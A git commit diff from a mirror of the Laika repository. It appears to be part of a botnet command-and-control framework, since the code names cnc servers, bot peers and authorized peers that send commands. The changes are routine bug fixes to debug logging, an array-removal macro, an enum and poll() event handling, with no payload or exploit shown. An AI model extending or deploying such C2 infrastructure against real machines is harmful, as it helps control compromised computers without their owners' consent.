mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
Fixed poll() path in lpolllist.c, fixed laikaM_rmvarray()
This commit is contained in:
parent
9291dbf823
commit
6d799a7532
@ -36,7 +36,7 @@ void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
||||||
laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */
|
laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */
|
||||||
|
|
||||||
LAIKA_DEBUG("accepted handshake from peer %x\n", peer);
|
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
|
PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
|
||||||
@ -84,7 +84,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||||
LAIKA_DEBUG("peer %x killed!\n", peer);
|
LAIKA_DEBUG("peer %lx killed!\n", peer);
|
||||||
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
|
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
|
||||||
laikaS_freePeer(peer);
|
laikaS_freePeer(peer);
|
||||||
}
|
}
|
||||||
@ -119,7 +119,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
|||||||
/* add to our pollList */
|
/* add to our pollList */
|
||||||
laikaP_addSock(&cnc->pList, &peer->sock);
|
laikaP_addSock(&cnc->pList, &peer->sock);
|
||||||
|
|
||||||
LAIKA_DEBUG("new peer %x!\n", peer);
|
LAIKA_DEBUG("new peer %lx!\n", peer);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -11,7 +11,7 @@
|
|||||||
#define ARRAY_START 4
|
#define ARRAY_START 4
|
||||||
|
|
||||||
#ifdef DEBUG
|
#ifdef DEBUG
|
||||||
#define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__);
|
#define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
|
||||||
#else
|
#else
|
||||||
#define LAIKA_DEBUG(...)
|
#define LAIKA_DEBUG(...)
|
||||||
#endif
|
#endif
|
||||||
|
@ -16,7 +16,7 @@
|
|||||||
|
|
||||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||||
#define laikaM_rmvarray(type, buf, count, indx, numElem) { \
|
#define laikaM_rmvarray(type, buf, count, indx, numElem) { \
|
||||||
int _i, _sz = ((count-indx)-numElem)*sizeof(type); \
|
int _i, _sz = ((count-indx)-numElem); \
|
||||||
for (_i = 0; _i < _sz; _i++) \
|
for (_i = 0; _i < _sz; _i++) \
|
||||||
buf[indx+_i] = buf[indx+numElem+_i]; \
|
buf[indx+_i] = buf[indx+numElem+_i]; \
|
||||||
count -= numElem; \
|
count -= numElem; \
|
||||||
|
@ -8,8 +8,7 @@
|
|||||||
#include "lrsa.h"
|
#include "lrsa.h"
|
||||||
|
|
||||||
typedef enum {
|
typedef enum {
|
||||||
PEER_UNVERIFIED,
|
PEER_UNVERIFIED,
|
||||||
,
|
|
||||||
PEER_BOT,
|
PEER_BOT,
|
||||||
PEER_CNC, /* cnc 2 cnc communication */
|
PEER_CNC, /* cnc 2 cnc communication */
|
||||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||||
|
@ -151,6 +151,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
|||||||
if (SOCKETERROR(nEvents))
|
if (SOCKETERROR(nEvents))
|
||||||
LAIKA_ERROR("epoll_wait() failed!\n");
|
LAIKA_ERROR("epoll_wait() failed!\n");
|
||||||
|
|
||||||
|
*_nevents = nEvents;
|
||||||
for (i = 0; i < nEvents; i++) {
|
for (i = 0; i < nEvents; i++) {
|
||||||
/* add event to revent array */
|
/* add event to revent array */
|
||||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
|
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
|
||||||
@ -166,17 +167,18 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
|||||||
if (SOCKETERROR(nEvents))
|
if (SOCKETERROR(nEvents))
|
||||||
LAIKA_ERROR("poll() failed!\n");
|
LAIKA_ERROR("poll() failed!\n");
|
||||||
|
|
||||||
|
*_nevents = nEvents;
|
||||||
/* walk through the returned poll fds, if they have an event, add it to our revents array */
|
/* walk through the returned poll fds, if they have an event, add it to our revents array */
|
||||||
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
|
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
|
||||||
PollFD pfd = pList->fds[i];
|
PollFD pfd = pList->fds[i];
|
||||||
if (pList->fds[i].revents != 0) {
|
if (pList->fds[i].revents != 0) {
|
||||||
/* grab socket from hashmap */
|
/* grab socket from hashmap */
|
||||||
struct sLaika_socket *sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
struct sLaika_hashMapElem *_sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
||||||
|
|
||||||
/* insert event into revents array */
|
/* insert event into revents array */
|
||||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
|
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
|
||||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
||||||
.sock = sock,
|
.sock = _sock->sock,
|
||||||
.pollIn = pfd.revents & POLLIN,
|
.pollIn = pfd.revents & POLLIN,
|
||||||
.pollOut = pfd.revents & POLLOUT
|
.pollOut = pfd.revents & POLLOUT
|
||||||
};
|
};
|
||||||
@ -187,6 +189,5 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
/* return revents array */
|
/* return revents array */
|
||||||
*_nevents = i;
|
|
||||||
return pList->revents;
|
return pList->revents;
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user